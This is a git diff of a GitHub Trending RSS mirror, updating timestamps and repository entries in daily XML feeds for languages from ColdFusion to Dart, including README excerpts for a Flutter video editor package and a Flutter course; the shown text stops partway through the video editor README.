cloudfour/offCanvasMenu - 2024-01-05T01:29:27Z - tag:github.com,2024-01-05:/cloudfour/offCanvasMenu - - <p>A jQuery/Zepto plugin that provides an easy way to implement an off-canvas toggling menu, a navigation metaphor made popular by mobile applications.</p><hr> + couchand/force-formula + 2024-01-06T01:28:32Z + tag:github.com,2024-01-06:/couchand/force-formula + + <p>parse the force.com formula syntax.</p><hr> - excid3/excid3bot - 2024-01-05T01:29:27Z - tag:github.com,2024-01-05:/excid3/excid3bot - - <p>A hubot</p><hr> + djthread/podproxy + 2024-01-06T01:28:32Z + tag:github.com,2024-01-06:/djthread/podproxy + + <p>A Podcast Client / Proxy</p><hr> \ No newline at end of file diff --git a/coldfusion-cfc/daily/index.xml b/coldfusion-cfc/daily/index.xml index 2161d4a6e25..31abb2420ec 100644 --- a/coldfusion-cfc/daily/index.xml +++ b/coldfusion-cfc/daily/index.xml @@ -1,7 +1,7 @@ GitHub ColdFusion CFC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:30Z + 2024-01-06T01:28:35Z Daily Trending of ColdFusion CFC in GitHub \ No newline at end of file diff --git a/coldfusion/daily/index.xml b/coldfusion/daily/index.xml index 5c270d96477..fbbf0fef775 100644 --- a/coldfusion/daily/index.xml +++ b/coldfusion/daily/index.xml @@ -1,7 +1,7 @@ GitHub ColdFusion Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:29Z + 2024-01-06T01:28:37Z Daily Trending of ColdFusion in GitHub \ No newline at end of file diff --git a/collada/daily/index.xml b/collada/daily/index.xml index 33052f872bc..eb102ad8918 100644 --- a/collada/daily/index.xml +++ b/collada/daily/index.xml @@ -1,7 +1,7 @@ GitHub COLLADA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:29Z + 2024-01-06T01:28:36Z Daily Trending of COLLADA in GitHub \ No newline at end of file diff --git a/common-lisp/daily/index.xml b/common-lisp/daily/index.xml index 65313105b37..f210eb794a0 100644 --- a/common-lisp/daily/index.xml +++ b/common-lisp/daily/index.xml @@ -1,7 +1,7 @@ GitHub Common Lisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:31Z + 2024-01-06T01:28:37Z Daily Trending of Common Lisp in GitHub \ No newline at end of file diff --git a/common-workflow-language/daily/index.xml b/common-workflow-language/daily/index.xml index f3a2b060245..1f949d29bad 100644 --- a/common-workflow-language/daily/index.xml +++ b/common-workflow-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Common Workflow Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:34Z + 2024-01-06T01:28:38Z Daily Trending of Common Workflow Language in GitHub \ No newline at end of file diff --git a/component-pascal/daily/index.xml b/component-pascal/daily/index.xml index 7e51a11059a..5050590d65a 100644 --- a/component-pascal/daily/index.xml +++ b/component-pascal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Component Pascal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:33Z + 2024-01-06T01:28:41Z Daily Trending of Component Pascal in GitHub \ No newline at end of file diff --git a/conll-u/daily/index.xml b/conll-u/daily/index.xml index c1fbde5e4c7..5825a28b699 100644 --- a/conll-u/daily/index.xml +++ b/conll-u/daily/index.xml @@ -1,7 +1,7 @@ GitHub CoNLL-U Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:35Z + 2024-01-06T01:28:39Z Daily Trending of CoNLL-U in GitHub \ No newline at end of file diff --git a/cool/daily/index.xml b/cool/daily/index.xml index 8e29772a90e..5fbe1278308 100644 --- a/cool/daily/index.xml +++ b/cool/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cool Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:34Z + 2024-01-06T01:28:42Z Daily Trending of Cool in GitHub \ No newline at end of file diff --git a/coq/daily/index.xml b/coq/daily/index.xml index 112ad08aa2a..5488aa9ef39 100644 --- a/coq/daily/index.xml +++ b/coq/daily/index.xml @@ -1,7 +1,7 @@ GitHub Coq Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:39Z + 2024-01-06T01:28:46Z Daily Trending of Coq in GitHub \ No newline at end of file diff --git a/cpp-objdump/daily/index.xml b/cpp-objdump/daily/index.xml index 40bb4ef3954..4c41a2045cd 100644 --- a/cpp-objdump/daily/index.xml +++ b/cpp-objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cpp-ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:37Z + 2024-01-06T01:28:43Z Daily Trending of Cpp-ObjDump in GitHub \ No newline at end of file diff --git a/creole/daily/index.xml b/creole/daily/index.xml index a8e431885aa..06777544c3a 100644 --- a/creole/daily/index.xml +++ b/creole/daily/index.xml @@ -1,7 +1,7 @@ GitHub Creole Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:36Z + 2024-01-06T01:28:44Z Daily Trending of Creole in GitHub \ No newline at end of file diff --git a/crystal/daily/index.xml b/crystal/daily/index.xml index a07e5f25abe..fa939955692 100644 --- a/crystal/daily/index.xml +++ b/crystal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Crystal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:38Z + 2024-01-06T01:28:45Z Daily Trending of Crystal in GitHub \ No newline at end of file diff --git a/cson/daily/index.xml b/cson/daily/index.xml index 30731f2e301..7f7fa4c8820 100644 --- a/cson/daily/index.xml +++ b/cson/daily/index.xml @@ -1,7 +1,7 @@ GitHub CSON Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:40Z + 2024-01-06T01:28:49Z Daily Trending of CSON in GitHub \ No newline at end of file diff --git a/csound-document/daily/index.xml b/csound-document/daily/index.xml index 946640215e3..d73468c3268 100644 --- a/csound-document/daily/index.xml +++ b/csound-document/daily/index.xml @@ -1,7 +1,7 @@ GitHub Csound Document Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:42Z + 2024-01-06T01:28:50Z Daily Trending of Csound Document in GitHub \ No newline at end of file diff --git a/csound-score/daily/index.xml b/csound-score/daily/index.xml index 1ead4e1afe0..0c42f0262b3 100644 --- a/csound-score/daily/index.xml +++ b/csound-score/daily/index.xml @@ -1,7 +1,7 @@ GitHub Csound Score Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:43Z + 2024-01-06T01:28:51Z Daily Trending of Csound Score in GitHub \ No newline at end of file diff --git a/csound/daily/index.xml b/csound/daily/index.xml index d87eb5c3069..13a955c2011 100644 --- a/csound/daily/index.xml +++ b/csound/daily/index.xml @@ -1,7 +1,7 @@ GitHub Csound Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:41Z + 2024-01-06T01:28:48Z Daily Trending of Csound in GitHub \ No newline at end of file diff --git a/css/daily/index.xml b/css/daily/index.xml index 19ec83caee9..640a429d015 100644 --- a/css/daily/index.xml +++ b/css/daily/index.xml @@ -1,28 +1,7 @@ GitHub CSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:50Z + 2024-01-06T01:28:59Z Daily Trending of CSS in GitHub - - Rahulvaishnav9/Login-Page - 2024-01-05T01:29:50Z - tag:github.com,2024-01-05:/Rahulvaishnav9/Login-Page - - <p>Follow my instagram account for more content</p><hr><h1>Login-Page</h1> <p>Follow my instagram account for more content</p> - - - Rysera-Innovations/Rysera-web - 2024-01-05T01:29:50Z - tag:github.com,2024-01-05:/Rysera-Innovations/Rysera-web - - <p></p><hr><h1>React + Vite</h1> <p>This template provides a minimal setup to get React working in Vite with HMR and some ESLint rules.</p> <p>Currently, two official plugins are available:</p> <ul> <li><a href="https://github.com/vitejs/vite-plugin-react/raw/main/packages/plugin-react/README.md">@vitejs/plugin-react</a> uses <a href="https://babeljs.io/">Babel</a> for Fast Refresh</li> <li><a href="https://github.com/vitejs/vite-plugin-react-swc">@vitejs/plugin-react-swc</a> uses <a href="https://swc.rs/">SWC</a> for Fast Refresh</li> </ul> - - - OpenClassrooms-Student-Center/P12_Front-end - 2024-01-05T01:29:50Z - tag:github.com,2024-01-05:/OpenClassrooms-Student-Center/P12_Front-end - - <p></p><hr><h1>HRnet</h1> <p>Welcome to HRnet! This is our company's internal application to create and view employee records.</p> - \ No newline at end of file diff --git a/csv/daily/index.xml b/csv/daily/index.xml index a40717230ec..ec14d0bcbee 100644 --- a/csv/daily/index.xml +++ b/csv/daily/index.xml @@ -1,7 +1,7 @@ GitHub CSV Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:45Z + 2024-01-06T01:28:53Z Daily Trending of CSV in GitHub \ No newline at end of file diff --git a/cuda/daily/index.xml b/cuda/daily/index.xml index a90ba516380..133133cffc6 100644 --- a/cuda/daily/index.xml +++ b/cuda/daily/index.xml @@ -1,7 +1,14 @@ GitHub Cuda Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:47Z + 2024-01-06T01:28:54Z Daily Trending of Cuda in GitHub + + efeslab/Atom + 2024-01-06T01:28:54Z + tag:github.com,2024-01-06:/efeslab/Atom + + <p>Codebase for Atom</p><hr> + \ No newline at end of file diff --git a/cue/daily/index.xml b/cue/daily/index.xml index 879f2016e3b..5aecbc6a73b 100644 --- a/cue/daily/index.xml +++ b/cue/daily/index.xml @@ -1,7 +1,7 @@ GitHub CUE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:44Z + 2024-01-06T01:28:55Z Daily Trending of CUE in GitHub \ No newline at end of file diff --git a/curl-config/daily/index.xml b/curl-config/daily/index.xml index 6ed76c4ade9..5c851c81503 100644 --- a/curl-config/daily/index.xml +++ b/curl-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub cURL Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:55Z + 2024-01-06T01:29:04Z Daily Trending of cURL Config in GitHub \ No newline at end of file diff --git a/curry/daily/index.xml b/curry/daily/index.xml index e91d95c25bf..48402bea859 100644 --- a/curry/daily/index.xml +++ b/curry/daily/index.xml @@ -1,7 +1,7 @@ GitHub Curry Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:54Z + 2024-01-06T01:29:05Z Daily Trending of Curry in GitHub \ No newline at end of file diff --git a/cweb/daily/index.xml b/cweb/daily/index.xml index 4ed8eaaf8b9..71ef44f2fee 100644 --- a/cweb/daily/index.xml +++ b/cweb/daily/index.xml @@ -1,7 +1,7 @@ GitHub CWeb Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:56Z + 2024-01-06T01:29:06Z Daily Trending of CWeb in GitHub \ No newline at end of file diff --git a/cycript/daily/index.xml b/cycript/daily/index.xml index d4c1bf3c025..2f244800022 100644 --- a/cycript/daily/index.xml +++ b/cycript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cycript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:58Z + 2024-01-06T01:29:08Z Daily Trending of Cycript in GitHub \ No newline at end of file diff --git a/cython/daily/index.xml b/cython/daily/index.xml index 6158f98d5a0..f622bfc864b 100644 --- a/cython/daily/index.xml +++ b/cython/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cython Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:01Z + 2024-01-06T01:29:12Z Daily Trending of Cython in GitHub \ No newline at end of file diff --git a/d-objdump/daily/index.xml b/d-objdump/daily/index.xml index 6eaee81792b..46f75d34c8d 100644 --- a/d-objdump/daily/index.xml +++ b/d-objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub D-ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:03Z + 2024-01-06T01:29:14Z Daily Trending of D-ObjDump in GitHub \ No newline at end of file diff --git a/d/daily/index.xml b/d/daily/index.xml index 4919c3fa03e..074ea8495db 100644 --- a/d/daily/index.xml +++ b/d/daily/index.xml @@ -1,7 +1,7 @@ GitHub D Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:59Z + 2024-01-06T01:29:10Z Daily Trending of D in GitHub \ No newline at end of file diff --git a/dafny/daily/index.xml b/dafny/daily/index.xml index fb270a91a54..d4f1e3d7350 100644 --- a/dafny/daily/index.xml +++ b/dafny/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dafny Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:02Z + 2024-01-06T01:29:16Z Daily Trending of Dafny in GitHub \ No newline at end of file diff --git a/darcs-patch/daily/index.xml b/darcs-patch/daily/index.xml index 1c441581f2c..bb51105d72a 100644 --- a/darcs-patch/daily/index.xml +++ b/darcs-patch/daily/index.xml @@ -1,7 +1,7 @@ GitHub Darcs Patch Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:04Z + 2024-01-06T01:29:13Z Daily Trending of Darcs Patch in GitHub \ No newline at end of file diff --git a/dart/daily/index.xml b/dart/daily/index.xml index ffb7bb2f150..91a39c7cf31 100644 --- a/dart/daily/index.xml +++ b/dart/daily/index.xml @@ -1,14 +1,14 @@ GitHub Dart Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:11Z + 2024-01-06T01:29:24Z Daily Trending of Dart in GitHub - LinkedInLearning/learning-flutter-3009709 - 2024-01-05T01:30:11Z - tag:github.com,2024-01-05:/LinkedInLearning/learning-flutter-3009709 - - <p>Learning Flutter: Build for Multiple Platforms</p><hr><h1>Flutter Essential Training: Build for Multiple Platforms</h1> <p>This is the repository for the LinkedIn Learning course Flutter Essential Training: Build for Multiple Platforms. The full course is available from <a href="https://www.linkedin.com/learning/flutter-essential-training-build-for-multiple-platforms">LinkedIn Learning</a>.</p> <p><img src="https://cdn.lynda.com/course/3009709/3009709-1657654682359-16x9.jpg" alt="Flutter Essential Training: Build for Multiple Platforms"></p> <p>In this course, Pooja Bhaumik covers everything a complete beginner needs to get started using Dart and Flutter. Pooja begins with some basic concepts of Dart that you need to understand before using the Flutter framework. Next, she introduces you to Flutter, including Flutter resources that are available, as well as how to install and set up Flutter, select the best version to use, define the anatomy of a Flutter project, and more. Pooja goes over the basic building blocks of Flutter UI, such as building widgets, aligning and placing elements, building dynamic lists, breaking down design into code, and more. She covers interactivity in depth, then goes into everything you need to know about Pubspec. Pooja explains synchronous and asynchronous functions, Postman, the JsonSerializable package, FutureBuilder, and other useful innovations. After discussing how to work with data, Pooja recommends some next steps and points out how you can learn more from Flutter documentation.</p> <h2>Instructions</h2> <p>This repository has branches for each of the videos in the course. You can use the branch pop up menu in github to switch to a specific branch and take a look at the course at that stage, or you can add <code>/tree/BRANCH_NAME</code> to the URL to go to the branch you want to access.</p> <h2>Branches</h2> <p>The branches are structured to correspond to the videos in the course. The naming convention is <code>CHAPTER#_MOVIE#</code>. As an example, the branch named <code>02_03</code> corresponds to the second chapter and the third video in that chapter. Some branches will have a beginning and an end state. These are marked with the letters <code>b</code> for "beginning" and <code>e</code> for "end". The <code>b</code> branch contains the code as it is at the beginning of the movie. The <code>e</code> branch contains the code as it is at the end of the movie. The <code>main</code> branch holds the final state of the code when in the course.</p> <p>When switching from one exercise files branch to the next after making changes to the files, you may get a message like this:</p> <pre><code>error: Your local changes to the following files would be overwritten by checkout: [files] Please commit your changes or stash them before you switch branches. Aborting </code></pre> <p>To resolve this issue:</p> <pre><code>Add changes to git using this command: git add . Commit changes using this command: git commit -m "some message" </code></pre> <h3>Instructor</h3> <p>Pooja Bhaumik</p> <p>Check out my other courses on <a href="https://www.linkedin.com/learning/instructors/pooja-bhaumik">LinkedIn Learning</a>.</p> + LeGoffMael/video_editor + 2024-01-06T01:29:24Z + tag:github.com,2024-01-06:/LeGoffMael/video_editor + + <p>A flutter package for editing video written in pure Dart with fully customizable UI. Supports crop, trim, rotation and cover selection.</p><hr><h1>Flutter video editor</h1> <p><a href="https://pub.dev/packages/video_editor"><img src="https://img.shields.io/pub/v/video_editor.svg?sanitize=true" alt="Pub"></a> <a href="https://github.com/LeGoffMael/video_editor/stargazers"><img src="https://img.shields.io/github/stars/LeGoffMael/video_editor?style=social" alt="GitHub stars"></a></p> <p>A video editor that allows to edit (trim, crop, rotate and scale) and choose a cover with a very flexible UI design.</p> <p>The library provides some tools to execute the exportation but does not handle it.</p> <p>This library is written in Dart only but uses external packages such as <a href="https://pub.dev/packages/video_thumbnail">video_thumbnail</a>, which makes it available only on iOS and Android plaforms for now (<a href="https://github.com/LeGoffMael/video_editor/pull/147">web support is currently in progress</a>).</p> <blockquote> <p><strong>Note</strong> If you use a version between (1.2.3 and 2.4.0) your project might be subject to a GPL license.</p> </blockquote> <table> <thead> <tr> <th></th> <th>Android</th> <th>iOS</th> </tr> </thead> <tbody> <tr> <td><strong>Support</strong></td> <td>SDK 16+</td> <td>11.0+</td> </tr> </tbody> </table> <h2>๐Ÿ“– Installation</h2> <p>Following steps will help you add this library as a dependency in your flutter project.</p> <ul> <li>Run <code>flutter pub add video_editor</code>, or add video_editor to <code>pubspec.yaml</code> file manually.</li> </ul> <pre><code class="language-yaml">dependencies: video_editor: ^2.4.0 </code></pre> <ul> <li>Import the package in your code:</li> </ul> <pre><code class="language-dart">import 'package:video_editor/video_editor.dart'; </code></pre> <h2>๐Ÿ“ธ Screenshots</h2> <table> <thead> <tr> <th>Example app running on an Iphone 11 pro</th> <th>Customization example, light mode</th> </tr> </thead> <tbody> <tr> <td><img src="https://raw.githubusercontent.com/LeGoffMael/video_editor/master/assets/demo.gif" alt=""></td> <td><img src="https://raw.githubusercontent.com/LeGoffMael/video_editor/master/assets/light_editor.png" alt=""></td> </tr> </tbody> </table> <h2>๐Ÿ‘€ Usage</h2> <pre><code class="language-dart">final VideoEditorController _controller = VideoEditorController.file( File('/path/to/video.mp4'), minDuration: const Duration(seconds: 1), maxDuration: const Duration(seconds: 10), ); @override void initState() { super.initState(); _controller.initialize().then((_) =&gt; setState(() {})); } @override void dispose() { _controller.dispose(); super.dispose(); } /// Basic export video function Future&lt;void&gt; exportVideo() async { final config = VideoFFmpegVideoEditorConfig(_controller); // Returns the generated command and the output path final FFmpegVideoEditorExecute execute = await config.getExecuteConfig(); // ... handle the video exportation yourself, using ffmpeg_kit_flutter, your own video server, ... } /// Export the video as a GIF image Future&lt;void&gt; exportGif() async { final gifConfig = VideoFFmpegVideoEditorConfig( _controller, format: VideoExportFormat.gif, ); // Returns the generated command and the output path final FFmpegVideoEditorExecute gifExecute = await gifConfig.getExecuteConfig(); // ... } /// Export a video, with custom command (ultrafast preset + horizontal flip) Future&lt;void&gt; exportMirroredVideo() async { final mirrorConfig = VideoFFmpegVideoEditorConfig( _controller, name: 'mirror-video' commandBuilder: (VideoFFmpegVideoEditorConfig config, String videoPath, String outputPath) { final List&lt;String&gt; filters = config.getExportFilters(); filters.add('hflip'); // add horizontal flip return '-i $videoPath ${config.filtersCmd(filters)} -preset ultrafast $outputPath'; }, ); // Returns the generated command and the output path final FFmpegVideoEditorExecute mirrorExecute = await mirrorConfig.getExecuteConfig(); // ... } </code></pre> <p>For more details check out the <a href="https://github.com/LeGoffMael/video_editor/tree/master/example">example</a>.</p> <h3>VideoEditorController</h3> <table> <thead> <tr> <th>Function</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>initialize(double? aspectRatio)</td> <td>Init the <code>controller</code> parameters, the video, the trim and the cover, call <code>cropAspectRatio</code></td> </tr> <tr> <td>rotate90Degrees(RotateDirection)</td> <td>Rotate the video by 90 degrees in the direction provided</td> </tr> <tr> <td>setPreferredRatioFromCrop</td> <td>Update the aspect ratio to the current crop area ratio</td> </tr> <tr> <td>cropAspectRatio(double?)</td> <td>Update the aspect ratio + update the crop area to the center of the video size</td> </tr> <tr> <td>updateCrop(Offset, Offset)</td> <td>Update the controller crop min and max values</td> </tr> <tr> <td>applyCacheCrop</td> <td>Update the controller crop min and max values with cache values</td> </tr> <tr> <td>updateTrim(double, double)</td> <td>Update the controller trim min and max values</td> </tr> </tbody> </table> <table> <thead> <tr> <th>Getter</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>Duration startTrim</td> <td>The start value of the trimmed area</td> </tr> <tr> <td>Duration endTrim</td> <td>The end value of the trimmed area</td> </tr> <tr> <td>Duration trimmedDuration</td> <td>The duration of the selected trimmed area</td> </tr> <tr> <td>bool isTrimmed</td> <td>Set to <code>true</code> when the trimmed values are not the default video duration</td> </tr> <tr> <td>bool isTrimming</td> <td>Set to <code>true</code> when startTrim or endTrim is changing</td> </tr> <tr> <td>Duration maxDuration</td> <td>The maxDuration possible for the trimmed area</td> </tr> <tr> <td>Duration minDuration</td> <td>The minDuration possible for the trimmed area</td> </tr> <tr> <td>Offset minCrop</td> <td>The top left position of the crop area (between <code>0.0</code> and <code>1.0</code>)</td> </tr> <tr> <td>Offset maxCrop</td> <td>The bottom right position of the crop area (between <code>0.0</code> and <code>1.0</code>)</td> </tr> <tr> <td>Size croppedArea</td> <td>The actual Size of the crop area</td> </tr> <tr> <td>double? preferredCropAspectRatio</td> <td>The preferred crop aspect ratio selected</td> </tr> <tr> <td>bool isRotated</td> <td>Set to <code>true</code> when the rotation is different to <code>0</code></td> </tr> <tr> <td>int rotation</td> <td>The rotation angle set <code>0</code>, <code>90</code>, <code>180</code> and <code>270</code></td> </tr> <tr> <td>int cacheRotation</td> <td>The sum of all the rotation applied in the editor</td> </tr> <tr> <td>CoverData? selectedCoverVal</td> <td>The selected cover thumbnail that will be used to export the final cover</td> </tr> <tr> <td>int coverThumbnailsQuality = 10</td> <td>The <code>coverThumbnailsQuality</code> param specifies the quality of the generated cover thumbnails, from 0 to 100 (<a href="https://pub.dev/packages/video_thumbnail">more info</a>)</td> </tr> <tr> <td>int trimThumbnailsQuality = 10</td> <td>The <code>trimThumbnailsQuality</code> param specifies the quality of the generated trim slider thumbnails, from 0 to 100 (<a href="https://pub.dev/packages/video_thumbnail">more info</a>)</td> </tr> </tbody> </table> <h3>Widgets</h3> <details> <summary>Click to expand widgets documentation</summary> <h4>Crop</h4> <h5>1. CropGridViewer</h5> <p>This widget is used to enable the crop actions on top of the video (CropGridViewer.edit), or only to preview the cropped result (CropGridViewer.preview).</p> <table> <thead> <tr> <th>Param</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>required VideoEditorController controller</td> <td>The <code>controller</code> param is mandatory so every change in the controller settings will propagate in the crop view</td> </tr> <tr> <td>EdgeInsets margin</td> <td>The amount of space by which to inset the crop view, not used in preview mode</td> </tr> <tr> <td>bool rotateCropArea</td> <td>To preserve <code>preferredCropAspectRatio</code> when crop view is rotated</td> </tr> </tbody> </table> <h4>Trimmer</h4> <h5>1. TrimSlider</h5> <p>Display the trimmer containing video thumbnails with rotation and crop parameters.</p> <table> <thead> <tr> <th>Param</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>required VideoEditorController controller</td> <td>The <code>controller</code> param is mandatory so every change in the controller settings will propagate in the trim slider view</td> </tr> <tr> <td>double height = 0.0</td> <td>The <code>height</code> param specifies the height of the generated thumbnails</td> </tr> <tr> <td>double horizontalMargin = 0.0</td> <td>The <code>horizontalMargin</code> param specifies the horizontal space to set around the slider. It is important when the trim can be dragged (<code>controller.maxDuration</code> &lt; <code>controller.videoDuration</code>)</td> </tr> <tr> <td>Widget? child</td> <td>The <code>child</code> param can be specify to display a widget below this one (e.g: TrimTimeline)</td> </tr> <tr> <td>bool hasHaptic = true</td> <td>The <code>hasHaptic</code> param specifies if haptic feed back can be triggered when the trim touch an edge (left or right)</td> </tr> <tr> <td>double maxViewportRatioo = 2.5</td> <td>The <code>maxViewportRatio</code> param specifies the upper limit of the view ratio</td> </tr> <tr> <td>ScrollController? scrollController</td> <td>The <code>scrollController</code> param specifies the scroll controller to use for the trim slider view</td> </tr> </tbody> </table> <h5>2. TrimTimeline</h5> <p>Display the video timeline.</p> <table> <thead> <tr> <th>Param</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>required VideoEditorController controller</td> <td>The <code>controller</code> param is mandatory so depending on the <code>controller.maxDuration</code>, the generated timeline will be different</td> </tr> <tr> <td>double quantity = 8</td> <td>Expected <code>quantity</code> of elements shown in the timeline</td> </tr> <tr> <td>EdgeInsets padding = EdgeInsets.zero</td> <td>The <code>padding</code> param specifies the space surrounding the timeline</td> </tr> <tr> <td>String localSeconds = 's'</td> <td>The String to represents the seconds to show next to each timeline element</td> </tr> <tr> <td>TextStyle? textStyle</td> <td>The TextStyle to use to style the timeline text</td> </tr> </tbody> </table> <h4>Cover</h4> <h5>1. CoverSelection</h5> <p>Display a couple of generated covers with rotation and crop parameters to updated the selected cover.</p> <table> <thead> <tr> <th>Param</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>required VideoEditorController controller</td> <td>The <code>controller</code> param is mandatory so every change in the controller settings will propagate in the cover selection view</td> </tr> <tr> <td>double size = 0.0</td> <td>The <code>size</code> param specifies the max size of the generated thumbnails</td> </tr> <tr> <td>double horizontalMargin = 0.0</td> <td>The <code>horizontalMargin</code> param need to be specify when there is a margin outside the crop view, so in case of a change the new layout can be computed properly.</td> </tr> <tr> <td>int quantity = 5</td> <td>The <code>quantity</code> param specifies the quantity of thumbnails to generate</td> </tr> <tr> <td>Wrap? wrap</td> <td>The <code>wrap</code> widget to use to customize the thumbnails wrapper</td> </tr> <tr> <td>Function? selectedCoverBuilder</td> <td>To returns how the selected cover should be displayed</td> </tr> </tbody> </table> <h5>2. CoverViewer</h5> <p>Display the selected cover with rotation and crop parameters.</p> <table> <thead> <tr> <th>Param</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>required VideoEditorController controller</td> <td>The <code>controller</code> param is mandatory so every change in the controller settings will propagate the crop parameters in the cover view</td> </tr> <tr> <td>String noCoverText = 'No selection'</td> <td>The <code>noCoverText</code> param specifies the text to display when selectedCover is <code>null</code></td> </tr> </tbody> </table> </details> <h3>Style</h3> <details> <summary>Click to expand style documentation</summary> <h4>1. CropStyle</h4> <p>You can create your own CropStyle class to customize the CropGridViewer appareance.</p> <table> <thead> <tr> <th>Param</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>Color croppingBackground = Colors.black.withOpacity(0.48)</td> <td>The <code>croppingBackground</code> param specifies the color of the paint area outside the crop area when copping</td> </tr> <tr> <td>Color background = Colors.black</td> <td>The <code>background</code> param specifies the color of the paint area outside the crop area when not copping</td> </tr> <tr> <td>double gridLineWidth = 1</td> <td>The <code>gridLineWidth</code> param specifies the width of the crop lines</td> </tr> <tr> <td>Color gridLineColor = Colors.white</td> <td>The <code>gridLineColor</code> param specifies the color of the crop lines</td> </tr> <tr> <td>int gridSize = 3</td> <td>The <code>gridSize</code> param specifies the quantity of columns and rows in the crop view</td> </tr> <tr> <td>Color boundariesColor = Colors.white</td> <td>The <code>boundariesColor</code> param specifies the color of the crop area's corner</td> </tr> <tr> <td>Color selectedBoundariesColor = kDefaultSelectedColor</td> <td>The <code>selectedBoundariesColor</code> param specifies the color of the selected crop area's corner</td> </tr> <tr> <td>double boundariesLength = 20</td> <td>The <code>boundariesLength</code> param specifies the length of the crop area's corner</td> </tr> <tr> <td>double boundariesWidth = 5</td> <td>The <code>boundariesWidth</code> param specifies the width of the crop area's corner</td> </tr> </tbody> </table> <h4>2. TrimStyle</h4> <p>You can create your own TrimStyle class to customize the TrimSlider appareance.</p> <table> <thead> <tr> <th>Param</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>Color background = Colors.black.withOpacity(0.6)</td> <td>The <code>background</code> param specifies the color of the paint area outside the trimmed area</td> </tr> <tr> <td>Color positionLineColor = Colors.red</td> <td>The <code>positionLineColor</code> param specifies the color of the line showing the video position</td> </tr> <tr> <td>double positionLineWidth = 2</td> <td>The <code>positionLineWidth</code> param specifies the width of the line showing the video position</td> </tr> <tr> <td>Color lineColor = Colors.white</td> <td>The <code>lineColor</code> param specifies the color of the borders around the trimmed area</td> </tr> <tr> <td>Color onTrimmingColor = kDefaultSelectedColor</td> <td>The <code>onTrimmingColor</code> param specifies the color of the borders around the trimmed area while it is getting trimmed</td> </tr> <tr> <td>Color onTrimmedColor = kDefaultSelectedColor</td> <td>The <code>onTrimmedColor</code> param specifies the color of the borders around the trimmed area when the trimmed parameters are not default values</td> </tr> <tr> <td>double lineWidth = 2</td> <td>The <code>lineWidth</code> param specifies the width of the borders around the trimmed area</td> </tr> <tr> <td>TrimSliderEdgesType borderRadius = 5</td> <td>The <code>borderRadius</code> param specifies the border radius around the trimmer</td> </tr> <tr> <td>double edgesType = TrimSliderEdgesType.bar</td> <td>The <code>edgesType</code> param specifies the style to apply to the edges (left &amp; right) of the trimmer</td> </tr> <tr> <td>double edgesSize</td> <td>The <code>edgesSize</code> param specifies the size of the edges behind the icons</td> </tr> <tr> <td>Color iconColor = Colors.black</td> <td>The <code>iconColor</code> param specifies the color of the icons on the trimmed area's edges</td> </tr> <tr> <td>double iconSize = 25</td> <td>The <code>iconSize</code> param specifies the size of the icon on the trimmed area's edges</td> </tr> <tr> <td>IconData? leftIcon = Icons.arrow_left</td> <td>The <code>leftIcon</code> param specifies the icon to show on the left edge of the trimmed area</td> </tr> <tr> <td>IconData? rightIcon = Icons.arrow_right</td> <td>The <code>rightIcon</code> param specifies the icon to show on the right edge of the trimmed area</td> </tr> </tbody> </table> <h3>3. CoverStyle</h3> <p>You can create your own CoverStyle class to customize the CoverSelection appareance.</p> <table> <thead> <tr> <th>Param</th> <th>Description</th> </tr> </thead> <tbody> <tr> 